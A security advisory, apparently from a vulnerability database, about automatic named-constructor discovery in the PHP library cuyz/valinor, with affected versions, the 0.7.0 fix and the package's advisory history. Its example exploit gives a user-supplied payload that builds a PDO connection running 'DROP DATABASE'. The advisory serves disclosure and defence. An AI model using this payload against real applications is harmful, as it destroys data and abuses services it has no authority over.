High

Automatic named constructor discovery in Valinor

Disclosed: 01.04.2022
Updated: 11.10.2026 10:22

Design issue - automatic constructor discovery

The issue arises when upgrading from cuyz/valinor:0.3.0 to a newer system on an existing application, which broke due to the wrong constructor being picked.

Still, a bigger security concern is problematic, and it is akin to https://github.com/rails/rails/issues/5228.

Example exploit

Take following DTO example:

php

final class UserDTO
{
    public function __construct(
        public int $id,
        public string $name
    ) {}
    public static function fromDb(
        PDO $connection,
        int $id
    ): self { /* ... code to fetch the DTO here ... */ }
}

There is nothing inherently unsafe about the above UserDTO, but when mixed with cuyz/valinor:^0.5.0 ( specifically https://github.com/CuyZ/Valinor/commit/718d3c1bc2ea7d28b4b1f6c062addcd1dde8660b ), it is an explosive mix:

php

// this could be coming from user input:
$maliciousPayload = [
    'connection' => [
      'dsn' => 'mysql:host=some-host;database=some-database',
      'username' => 'root',
      'password' => 'root',
      'options' => [
        // PDO::MYSQL_ATTR_INIT_COMMAND === 1002
        1002 => 'DROP DATABASE all-the-moneys'
      ]
    ],
    'id' => 123,
];

$treeMapper->map(
  UserDTO::class,
  $maliciousPayload
); // your DB is gone :D

The above payload is represented in PHP form, but may as well be input JSON, HTML or x-form-urlencoded.

Mitigation

Version 0.7.0 contains a patch for this issue.

Automatic named constructor resolution should be disabled - only explicitly mapped named constructors should be used/discovered.

Affected software

Click a technology to see all vulnerabilities affecting it.

Platform	Package	Vulnerable versions	Fixed in
Composer package	cuyz/valinor	>= 0.5.0, < 0.7.0	0.7.0

References

CVSS score -

Weakness (CWE): -
Platform: Composer
Package: cuyz/valinor
Disclosed: 01.04.2022
Updated: 11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-xhr8-mpwq-2rr2 - CC BY 4.0

Vulnerability history: cuyz/valinor

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries: 2
First → latest: 04.2022 07.2022
Without a fix: 0
Exploited in attacks: 0

Severity breakdown

High 2

Disclosures per year

2022: 2
2023: 0
2024: 0
2025: 0
2026: 0

12.07.2022

Valinor error messages leading to potential data exfiltration before v0.12.0

High · 7.5 CVE-2022-31140 < 0.12.0 0.12.0
01.04.2022

Automatic named constructor discovery in Valinor this entry

High ghsa-xhr8-mpwq-2rr2 >= 0.5.0, < 0.7.0 0.7.0

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application